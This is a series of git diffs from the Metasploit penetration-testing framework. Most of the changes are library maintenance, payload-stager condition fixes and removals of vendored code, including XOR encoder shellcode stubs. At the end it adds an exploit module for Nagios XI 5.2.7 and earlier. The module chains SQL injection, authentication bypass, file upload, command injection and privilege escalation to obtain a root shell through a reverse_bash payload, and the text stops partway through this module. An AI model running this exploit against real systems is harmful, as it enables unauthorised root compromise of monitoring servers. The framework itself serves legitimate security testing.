opts[:byte_offset] = offset / 8
opts[:omit_header] = opts[:omit_footer] = true
vector_class.describe(nil, opts) {|desc| yield desc}
else
super
end
end
def add_accessors_to(cl, attr = name) # :nodoc:
unless offset % 8 == 0
raise ArgumentError,
"Bad offset, #{offset}, for vector field #{name}." +
" Must be multiple of 8."
end
unless length % 8 == 0
raise ArgumentError,
"Bad length, #{length}, for vector field #{name}." +
" Must be multiple of 8."
end
offset_byte = offset / 8
length_byte = length / 8
last_byte = offset_byte + length_byte - 1
byte_range = offset_byte..last_byte
vc = vector_class
cl.class_eval do
define_method attr do ||
vc.new(self[byte_range])
end
define_method "#{attr}=" do |val|
if val.length != length_byte
raise ArgumentError, "Size mismatch in vector field assignment " +
"to #{attr} with value #{val.inspect}"
end
if val.class != vc
warn "Type mismatch in vector field assignment " +
"to #{attr} with value #{val.inspect}"
end
self[byte_range] = val
end
end
end
end
end

View File

@ -1,174 +0,0 @@
# -*- coding: binary -*-
# A Vector is, like a BitStruct, a String. It retains all of the String
# methods, except for #[], #[]=, and #each. These methods operate on entries
# instead of chars. Other methods, including #length and #slice, are unchanged.
# Hence a Vector can be used directly with sockets, binary files, etc.
#
# Note that Vector is not a subclass of BitStruct. It cannot be used in
# a #nest declaration in a BitStruct. Instead, use the #vector declaration.
# See BitStruct::VectorField.
#
# Different instances of the same Vector class may have different lengths, and
# a single instance can change its length. The length should always be a
# multiple of the struct size.
class BitStruct::Vector < String
include Enumerable
@default_options = {}
@struct_class = nil
class << self
def inherited cl
cl.instance_eval do
@struct_class = nil
end
end
# Called as a class method with a single argument in a user-defined
# subclass to specify a particular BitStruct class to use for each entry,
# instead of generating an anonymous class. Called without arguments to
# access the struct class, generating an anonymous one if needed.
# The struct_class inherits from the struct_class of the parent Vector
# class.
def struct_class cl = nil
if cl
if @struct_class
warn "changing struct_class in #{self} to #{cl}"
end
@struct_class = cl
@struct_class.default_options default_options
else
unless @struct_class
@struct_class = self == BitStruct::Vector ? BitStruct :
Class.new(superclass.struct_class)
@struct_class.default_options default_options
end
end
@struct_class
end
def method_missing(*a, &block) # :nodoc:
struct_class.send(*a, &block)
end
alias :orig_respond_to? :respond_to?
def respond_to?(*m) # :nodoc:
orig_respond_to?(*m) || struct_class.respond_to?(*m)
end
# Get or set the hash of default options for the class, which apply to all
# fields in the entries. If +h+ is provided, update the default options
# with that hash. Default options are inherited.
#
# This is especially useful with the <tt>:endian => val</tt> option.
def default_options h = nil
@default_options ||= superclass.default_options.dup
if h
@default_options.merge! h
if @struct_class
@struct_class.default_options h
end
end
@default_options
end
def describe(*args)
fmt = args[0] || BitStruct.describe_format
if block_given?
struct_class.describe(*args){|desc| yield desc}
yield ["..."]*5
else
struct_class.describe(*args) + [fmt % (["..."]*5)]
end
end
end
# Convenience method for instances. Returns the BitStruct class that
# describes each entry.
def struct_class
self.class.struct_class
end
# Convenience method for instances. Returns the string length in bytes of
# each entry in the vector.
def struct_class_length
self.class.struct_class.round_byte_length
end
# +arg+ can be an integer (number of entries) or a string
# (binary data, such as another Vector of the same size).
def initialize arg # :yields: instance
case arg
when Integer
super(struct_class.initial_value * arg)
else
begin
super arg
rescue NameError
raise ArgumentError, "must be string or integer: #{arg.inspect}"
end
end
yield self if block_given?
end
# Get the +i+-th entry. Returns a *copy* of the entry. If you want to
# use this copy to modify the entry, you must modify the copy and then
# use #[]= to replace the entry with the copy.
def [](i)
sc = self.class.struct_class
entry_length = sc.round_byte_length
unless (0...(length / entry_length)).include? i
raise ArgumentError, "index out of range: #{i}"
end
sc.new slice(entry_length * i, entry_length)
end
alias _old_replace_substr []=
# Set the +i+-th entry to +val+.
def []=(i,val)
entry_length = struct_class_length
unless (0...(length / entry_length)).include? i
raise ArgumentError, "index out of range: #{i}"
end
unless val.length == entry_length
raise ArgumentError, "wrong entry length: #{val.length} != #{entry_length}"
end
_old_replace_substr(entry_length * i, entry_length, val)
end
## TODO: [i..j] etc.
# Iterate over entries.
def each
entry_length = struct_class_length
(length / entry_length).times do |i|
yield self[i]
end
end
def inspect(opts = BitStruct::DEFAULT_INSPECT_OPTS)
if opts[:include_class]
opts = opts.dup
opts[:include_class] = false
s = self.class.inspect + ": "
else
s = ""
end
s << entries.map{|entry| entry.inspect(opts)}.join(opts[:separator])
lb, rb = opts[:brackets]
[lb, s, rb].join
end
def inspect_detailed
inspect(BitStruct::DETAILED_INSPECT_OPTS)
end
end

View File

@ -1,70 +0,0 @@
# -*- coding: binary -*-
require 'yaml'
class BitStruct
if RUBY_VERSION == "1.8.2"
def is_complex_yaml? # :nodoc:
true
end
YAML.add_ruby_type(/^bitstruct/) do |type, val|
subtype, subclass = YAML.read_type_class(type, Object)
subclass.new(val)
end
def to_yaml_type # :nodoc:
"!ruby/bitstruct:#{self.class}"
end
def to_yaml( opts = {} ) # :nodoc:
opts[:DocType] = self.class if Hash === opts
YAML.quick_emit(self.object_id, opts) do |out|
out.map(to_yaml_type) do |map|
fields.each do |field|
fn = field.name
map.add(fn, send(fn))
end
end
end
end
else
yaml_as "tag:path.berkeley.edu,2006:bitstruct"
def to_yaml_properties # :nodoc:
yaml_fields = fields.select {|field| field.inspectable?}
props = yaml_fields.map {|f| f.name.to_s}
if (rest_field = self.class.rest_field)
props << rest_field.name.to_s
end
props
end
# Return YAML representation of the BitStruct.
def to_yaml( opts = {} )
YAML::quick_emit( object_id, opts ) do |out|
out.map( taguri, to_yaml_style ) do |map|
to_yaml_properties.each do |m|
map.add( m, send( m ) )
end
end
end
end
def self.yaml_new( klass, tag, val ) # :nodoc:
unless Hash === val
raise YAML::TypeError, "Invalid BitStruct: " + val.inspect
end
bitstruct_name, bitstruct_type = YAML.read_type_class( tag, BitStruct )
st = bitstruct_type.new
val.each do |k,v|
st.send( "#{k}=", v )
end
st
end
end
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.10"
VERSION = "4.12.11"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -401,7 +401,7 @@ class ReadableText
])
mod.options.sorted.each do |name, opt|
val = mod.datastore[name] || opt.default
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
next if (opt.advanced?)
next if (opt.evasion?)
@ -431,7 +431,7 @@ class ReadableText
mod.options.sorted.each do |name, opt|
next unless opt.advanced?
val = mod.datastore[name] || opt.default
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
@ -456,7 +456,7 @@ class ReadableText
mod.options.sorted.each do |name, opt|
next unless opt.evasion?
val = mod.datastore[name] || opt.default
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end

View File

@ -125,7 +125,7 @@ class Export
@owned_hosts = []
@hosts = myworkspace.hosts
@hosts.each do |host|
if host.notes.find :first, :conditions => { :ntype => 'pro.system.compromise' }
if host.notes.where(ntype: 'pro.system.compromise').first
@owned_hosts << host
end
end
@ -133,7 +133,7 @@ class Export
# Extracts all events from a project, storing them in @events
def extract_event_entries
@events = myworkspace.events.find :all, :order => 'created_at ASC'
@events = myworkspace.events.order('created_at ASC')
end
# Extracts all services from a project, storing them in @services

View File

@ -130,6 +130,7 @@ module Msf
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
xploit.datastore['LPORT'] = p.first[:payload_lport]
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
xploit.datastore['SRVPORT'] = datastore['SRVPORT']
xploit.datastore['LHOST'] = get_payload_lhost
%w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|

View File

@ -142,12 +142,12 @@ module ReverseHttp
if l && l.length > 0
# strip trailing slashes
while l[-1] == '/'
while l[-1, 1] == '/'
l = l[0...-1]
end
# make sure the luri has the prefix
if l[0] != '/'
if l[0, 1] != '/'
l = "/#{l}"
end
@ -192,7 +192,7 @@ module ReverseHttp
self.service.server_name = datastore['MeterpreterServerName']
# Add the new resource
service.add_resource(luri + "/",
service.add_resource((luri + "/").gsub("//", "/"),
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
@ -212,7 +212,7 @@ module ReverseHttp
#
def stop_handler
if self.service
self.service.remove_resource(luri + "/")
self.service.remove_resource((luri + "/").gsub("//", "/"))
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
@ -433,7 +433,9 @@ protected
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp = nil
resp.code = 200
resp.message = 'OK'
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end

View File

@ -30,7 +30,7 @@ module Payload::Linux::BindTcp
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end

View File

@ -33,7 +33,7 @@ module Payload::Linux::ReverseTcp
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

View File

@ -2,32 +2,56 @@
require 'msf/core'
###
#
# This class is here to implement advanced features for mainframe based
# payloads. Mainframe payloads are expected to include this module if
# they want to support these features.
#
###
module Msf::Payload::Mainframe
#
# Z notes
# Z notes
#
def initialize(info = {})
ret = super(info)
super(info)
end
#
##
# Returns a list of compatible encoders based on mainframe architecture
# most will not work because of the different architecture
# an XOR-based encoder will be defined soon
#
##
def compatible_encoders
encoders = super()
encoders2 = ['/generic\/none/','none']
return encoders2
encoders2 = ['/generic\/none/', 'none']
encoders2
end
###
# This method is here to implement advanced features for cmd:jcl based
# payloads. Common to all are the JCL Job Card, and its options which
# are defined here. It is optional for other mainframe payloads.
###
def jcl_jobcard
# format paramaters with basic constraints
# see http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/
# com.ibm.zos.v2r1.ieab600/iea3b6_Parameter_field8.htm
#
jobname = format('%1.8s', datastore['JOBNAME']).strip.upcase
actnum = format('%1.60s', datastore['ACTNUM']).strip.upcase
pgmname = format('%1.20s', datastore['PGMNAME']).strip
jclass = format('%1.1s', datastore['JCLASS']).strip.upcase
notify = format('%1.8s', datastore['NOTIFY']).strip.upcase
notify = if !notify.empty? && datastore['NTFYUSR']
"// NOTIFY=#{notify}, \n"
else
""
end
msgclass = format('%1.1s', datastore['MSGCLASS']).strip.upcase
msglevel = format('%5.5s', datastore['MSGLEVEL']).strip
# build payload
"//#{jobname} JOB " \
"(#{actnum}),\n" \
"// '#{pgmname}',\n" \
"// CLASS=#{jclass},\n" \
"#{notify}" \
"// MSGCLASS=#{msgclass},\n" \
"// MSGLEVEL=#{msglevel},\n" \
"// REGION=0M \n"
end
end

View File

@ -34,7 +34,7 @@ module Payload::Windows::BindTcp
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end

View File

@ -32,7 +32,7 @@ module Payload::Windows::BindTcpRc4
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end

View File

@ -50,7 +50,7 @@ module Payload::Windows::ReverseHttp
}
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']

View File

@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcp
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

View File

@ -38,7 +38,7 @@ module Payload::Windows::ReverseTcpDns
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

View File

@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcpRc4
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

View File

@ -34,7 +34,7 @@ module Payload::Windows::ReverseTcpRc4Dns
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

View File

@ -36,7 +36,7 @@ module Payload::Windows::ReverseWinHttp
}
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:uri] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]

View File

@ -32,7 +32,7 @@ module Payload::Windows::BindTcp_x64
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end

View File

@ -54,7 +54,7 @@ module Payload::Windows::ReverseHttp_x64
}
# add extended options if we do have enough space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']

View File

@ -41,7 +41,7 @@ module Payload::Windows::ReverseTcp_x64
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end

View File

@ -37,7 +37,7 @@ module Payload::Windows::ReverseWinHttp_x64
}
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
if self.available_space && required_space < self.available_space
conf[:uri] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]

View File

@ -1360,6 +1360,8 @@ class Db
addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr
end
else
csv_note << ''
end
if (note.service)
msg << " service=#{note.service.name}" if note.service.name

View File

@ -38,6 +38,22 @@ module Rex
LogSource = "rex"
end
#
# REX Gems
#
# Text manipulation library for things like generating random string
require 'rex/text'
# Library for Generating Randomized strings valid as Identifiers such as variable names
require 'rex/random_identifier'
# library for creating Powershell scripts for exploitation purposes
require 'rex/powershell'
# Library for processing and creating Zip compatbile archives
require 'rex/zip'
# Library for parsing offline Windows Registry files
require 'rex/registry'
# Library for parsing Java serialized streams
require 'rex/java'
# Generic classes
require 'rex/constants'
require 'rex/exceptions'

View File

@ -1,35 +0,0 @@
# -*- coding: binary -*-
require 'rex/arch/x86'
require 'rex/encoder/xor/dword'
module Rex
module Encoders
###
#
# Spoon's smaller variable-length encoder (updated to use call $+4 by vlad902)
#
###
class XorDword < Rex::Encoder::Xor::Dword
module Backend
def _prepend
# set the counter to the rounded up number of dwords to decode
Rex::Arch::X86.set(
Rex::Arch::X86::ECX,
(encoded.length - 1 >> 2) + 1,
badchars
) +
"\xe8\xff\xff\xff" + # call $+4
"\xff\xc0" + # inc eax
"\x5e" + # pop esi
"\x81\x76\x0e" + key + # xor_xor: xor [esi + 0x0e], $xorkey
"\x83\xee\xfc" + # sub esi, -4
"\xe2\xf4" # loop xor_xor
end
end
include Backend
end
end end

View File

@ -1,53 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoder/xor/dword_additive'
##
#
# Jmp/Call Dword Additive Feedback Encoder
# Author: skape
# Arch: x86
#
##
module Rex
module Encoders
class XorDwordAdditive < Rex::Encoder::Xor::DwordAdditive
module Backend
def _unencoded_transform(data)
# check for any dword aligned zeros that would falsely terminate the decoder
idx = 0
while true
idx = data.index("\x00\x00\x00\x00", idx)
break if !idx
if idx & 3 == 0
raise RuntimeError, "Unencoded data cannot have a dword aligned 0 dword!", caller()
end
idx += 1
end
# pad to a dword boundary and append null dword for termination
data = data + ("\x00" * ((4 - data.length & 3) & 3)) + "\x00\x00\x00\x00"
end
def _prepend
"\xfc" + # cld
"\xbb" + key + # mov ebx, key
"\xeb\x0c" + # jmp short 0x14
"\x5e" + # pop esi
"\x56" + # push esi
"\x31\x1e" + # xor [esi], ebx
"\xad" + # lodsd
"\x01\xc3" + # add ebx, eax
"\x85\xc0" + # test eax, eax
"\x75\xf7" + # jnz 0xa
"\xc3" + # ret
"\xe8\xef\xff\xff\xff" # call 0x8
end
end
include Backend
end
end end

View File

@ -185,7 +185,7 @@ protected
# writing it to the other. Both are expected to implement Rex::IO::Stream.
#
def interact_stream(stream)
while self.interacting
while self.interacting && _remote_fd(stream)
# Select input and rstream
sd = Rex::ThreadSafe.select([ _local_fd, _remote_fd(stream) ], nil, nil, 0.25)

View File

@ -1,5 +0,0 @@
# -*- coding: binary -*-
class SSHKey
end
require 'sshkey/lib/sshkey'

View File

@ -1,20 +0,0 @@
Copyright (c) 2011 James Miller
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

View File

@ -1,71 +0,0 @@
sshkey
======
Generate private and public SSH keys (RSA and DSA supported) using pure Ruby.
gem install sshkey
Tested on the following Rubies: MRI 1.8.7, 1.9.2, 1.9.3, REE. Ruby must be compiled with OpenSSL support.
[![Build Status](https://secure.travis-ci.org/bensie/sshkey.png)](http://travis-ci.org/bensie/sshkey)
Usage
-----
When generating a new keypair the default key type is 2048-bit RSA, but you can supply the `type` (RSA or DSA) and `bits` in the options.
You can also (optionally) supply a `comment`:
``` ruby
k = SSHKey.generate
k = SSHKey.generate(:type => "DSA", :bits => 1024, :comment => "foo@bar.com")
```
Return an SSHKey object from an existing RSA or DSA private key (provided as a string)
``` ruby
k = SSHKey.new(File.read("~/.ssh/id_rsa"), :comment => "foo@bar.com")
```
Both of these will return an SSHKey object with the following methods:
``` ruby
# Returns an OpenSSL::PKey::RSA or OpenSSL::PKey::DSA key object
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/RSA.html
# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/DSA.html
k.key_object
# => -----BEGIN RSA PRIVATE KEY-----\nMIIEowI...
# Returns the Private Key as a string
k.private_key
# => "-----BEGIN RSA PRIVATE KEY-----\nMIIEowI..."
# Returns the Public Key as a string
k.public_key
# => "-----BEGIN RSA PUBLIC KEY-----\nMIIBCg..."
# Returns the SSH Public Key as a string
k.ssh_public_key
# => "ssh-rsa AAAAB3NzaC1yc2EA...."
# Returns the comment as a string
k.comment
# => "foo@bar.com"
# Returns the MD5 fingerprint as a string
k.md5_fingerprint
# => "2a:89:84:c9:29:05:d1:f8:49:79:1c:ba:73:99:eb:af"
# Returns the SHA1 fingerprint as a string
k.sha1_fingerprint
# => "e4:f9:79:f2:fe:d6:be:2d:ef:2e:c2:fa:aa:f8:b0:17:34:fe:0d:c0"
# Validates SSH Public Key
SSHKey.valid_ssh_public_key? "ssh-rsa AAAAB3NzaC1yc2EA...."
# => true
```
Copyright
---------
Copyright (c) 2011 James Miller

View File

@ -1,187 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
require 'base64'
require 'digest/md5'
require 'digest/sha1'
class SSHKey
SSH_TYPES = {"rsa" => "ssh-rsa", "dsa" => "ssh-dss"}
SSH_CONVERSION = {"rsa" => ["e", "n"], "dsa" => ["p", "q", "g", "pub_key"]}
attr_reader :key_object, :comment, :type
attr_accessor :passphrase
# Generate a new keypair and return an SSHKey object
#
# The default behavior when providing no options will generate a 2048-bit RSA
# keypair.
#
# ==== Parameters
# * options<~Hash>:
# * :type<~String> - "rsa" or "dsa", "rsa" by default
# * :bits<~Integer> - Bit length
# * :comment<~String> - Comment to use for the public key, defaults to ""
# * :passphrase<~String> - Encrypt the key with this passphrase
#
def self.generate(options = {})
type = options[:type] || "rsa"
bits = options[:bits] || 2048
cipher = OpenSSL::Cipher::Cipher.new("AES-128-CBC") if options[:passphrase]
case type.downcase
when "rsa" then SSHKey.new(OpenSSL::PKey::RSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
when "dsa" then SSHKey.new(OpenSSL::PKey::DSA.generate(bits).to_pem(cipher, options[:passphrase]), options)
else
raise "Unknown key type: #{type}"
end
end
# Validate an existing SSH public key
#
# Returns true or false depending on the validity of the public key provided
#
# ==== Parameters
# * ssh_public_key<~String> - "ssh-rsa AAAAB3NzaC1yc2EA...."
#
def self.valid_ssh_public_key?(ssh_public_key)
ssh_type, encoded_key = ssh_public_key.split(" ")
type = SSH_TYPES.invert[ssh_type]
prefix = [0,0,0,7].pack("C*")
decoded = Base64.decode64(encoded_key)
# Base64 decoding is too permissive, so we should validate if encoding is correct
return false unless Base64.encode64(decoded).gsub("\n", "") == encoded_key
return false unless decoded.sub!(/^#{prefix}#{ssh_type}/, "")
unpacked = decoded.unpack("C*")
data = []
index = 0
until unpacked[index].nil?
datum_size = from_byte_array unpacked[index..index+4-1], 4
index = index + 4
datum = from_byte_array unpacked[index..index+datum_size-1], datum_size
data << datum
index = index + datum_size
end
SSH_CONVERSION[type].size == data.size
rescue
false
end
def self.from_byte_array(byte_array, expected_size = nil)
num = 0
raise "Byte array too short" if !expected_size.nil? && expected_size != byte_array.size
byte_array.reverse.each_with_index do |item, index|
num += item * 256**(index)
end
num
end
# Create a new SSHKey object
#
# ==== Parameters
# * private_key - Existing RSA or DSA private key
# * options<~Hash>
# * :comment<~String> - Comment to use for the public key, defaults to ""
# * :passphrase<~String> - If the key is encrypted, supply the passphrase
#
def initialize(private_key, options = {})
@passphrase = options[:passphrase]
@comment = options[:comment] || ""
begin
@key_object = OpenSSL::PKey::RSA.new(private_key, passphrase)
@type = "rsa"
rescue
@key_object = OpenSSL::PKey::DSA.new(private_key, passphrase)
@type = "dsa"
end
end
# Fetch the RSA/DSA private key
#
# rsa_private_key and dsa_private_key are aliased for backward compatibility
def private_key
key_object.to_pem
end
alias_method :rsa_private_key, :private_key
alias_method :dsa_private_key, :private_key
# Fetch the encrypted RSA/DSA private key using the passphrase provided
#
# If no passphrase is set, returns the unencrypted private key
def encrypted_private_key
return private_key unless passphrase
key_object.to_pem(OpenSSL::Cipher::Cipher.new("AES-128-CBC"), passphrase)
end
# Fetch the RSA/DSA public key
#
# rsa_public_key and dsa_public_key are aliased for backward compatibility
def public_key
key_object.public_key.to_pem
end
alias_method :rsa_public_key, :public_key
alias_method :dsa_public_key, :public_key
# SSH public key
def ssh_public_key
[SSH_TYPES[type], Base64.encode64(ssh_public_key_conversion).gsub("\n", ""), comment].join(" ").strip
end
# Fingerprints
#
# MD5 fingerprint for the given SSH public key
def md5_fingerprint
Digest::MD5.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
end
alias_method :fingerprint, :md5_fingerprint
# SHA1 fingerprint for the given SSH public key
def sha1_fingerprint
Digest::SHA1.hexdigest(ssh_public_key_conversion).gsub(/(.{2})(?=.)/, '\1:\2')
end
private
# SSH Public Key Conversion
#
# All data type encoding is defined in the section #5 of RFC #4251.
# String and mpint (multiple precision integer) types are encoded this way:
# 4-bytes word: data length (unsigned big-endian 32 bits integer)
# n bytes: binary representation of the data
# For instance, the "ssh-rsa" string is encoded as the following byte array
# [0, 0, 0, 7, 's', 's', 'h', '-', 'r', 's', 'a']
def ssh_public_key_conversion
out = [0,0,0,7].pack("C*")
out += SSH_TYPES[type]
SSH_CONVERSION[type].each do |method|
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
out += encode_unsigned_int_32(byte_array.length).pack("C*")
out += byte_array.pack("C*")
end
return out
end
def encode_unsigned_int_32(value)
out = []
out[0] = value >> 24 & 0xff
out[1] = value >> 16 & 0xff
out[2] = value >> 8 & 0xff
out[3] = value & 0xff
return out
end
def to_byte_array(num)
result = []
begin
result << (num & 0xff)
num >>= 8
end until (num == 0 || num == -1) && (result.last[7] == num[7])
result.reverse
end
end

View File

@ -1,4 +0,0 @@
# -*- coding: binary -*-
class SSHKey
VERSION = "1.3.0"
end

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.11'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.12'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@ -98,6 +98,10 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'patch_finder'
# TimeZone info
spec.add_runtime_dependency 'tzinfo-data'
# Gem for dealing with SSHKeys
spec.add_runtime_dependency 'sshkey'
# BitStruct Library used for handling certain Protocol Header/Packet construction
spec.add_runtime_dependency 'bit-struct'
#
# REX Libraries
@ -115,11 +119,6 @@ Gem::Specification.new do |spec|
# Library for parsing Java serialized streams
spec.add_runtime_dependency 'rex-java'
#
# Protocol Libraries
#
spec.add_runtime_dependency 'net-ssh'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module
unless Gem.win_platform?

View File

@ -26,7 +26,8 @@ class MetasploitModule < Msf::Auxiliary
NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller),
NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor),
NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree),
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton)
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton),
NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die)
},
'References' =>
[

View File

@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
response for a 'WPAD' lookup. Distant targets may require more time and lower
rates for a successful attack.
},
'Authors' => [
'Author' => [
'vvalien', # Metasploit Module (post)
'hdm', # Metasploit Module
'tombkeeper' # Related Work

View File

@ -181,6 +181,7 @@ class MetasploitModule < Msf::Auxiliary
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
credential_data[:private_type] = :password
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary
of NetBIOS requests.
},
'Authors' => [
'Author' => [
'vvalien', # Metasploit Module (post)
'hdm', # Metasploit Module
'tombkeeper' # Vulnerability Discovery

View File

@ -0,0 +1,275 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits an SQL injection, auth bypass, file upload,
command injection, and privilege escalation in Nagios XI <= 5.2.7
to pop a root shell.
},
'Author' => [
'Francesco Oddo', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['EDB', '39899']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
}
},
'Targets' => [
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'LHOST' => Rex::Socket.source_address
}
))
end
def check
res = send_request_cgi!(
'method' => 'GET',
'uri' => '/nagiosxi/'
)
return unless res && (html = res.get_html_document)
if (version = html.at('//input[@name = "version"]/@value'))
vprint_status("Nagios XI version: #{version}")
if Gem::Version.new(version) <= target[:version]
return CheckCode::Appears
end
end
CheckCode::Safe
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
end
print_status('Getting API token')
get_api_token
print_status('Getting admin cookie')
get_admin_cookie
print_status('Getting monitored host')
get_monitored_host
print_status('Downloading component')
download_profile_component
print_status('Uploading root shell')
upload_root_shell
print_status('Popping shell!')
pop_dat_shell
end
#
# Cleanup methods
#
def on_new_session(session)
super
print_status('Cleaning up...')
commands = [
'rm -rf ../profile',
'unzip -qd .. ../../../../tmp/component-profile.zip',
'chown -R nagios:nagios ../profile',
"rm -f ../../../../tmp/component-#{zip_filename}"
]
commands.each do |command|
vprint_status(command)
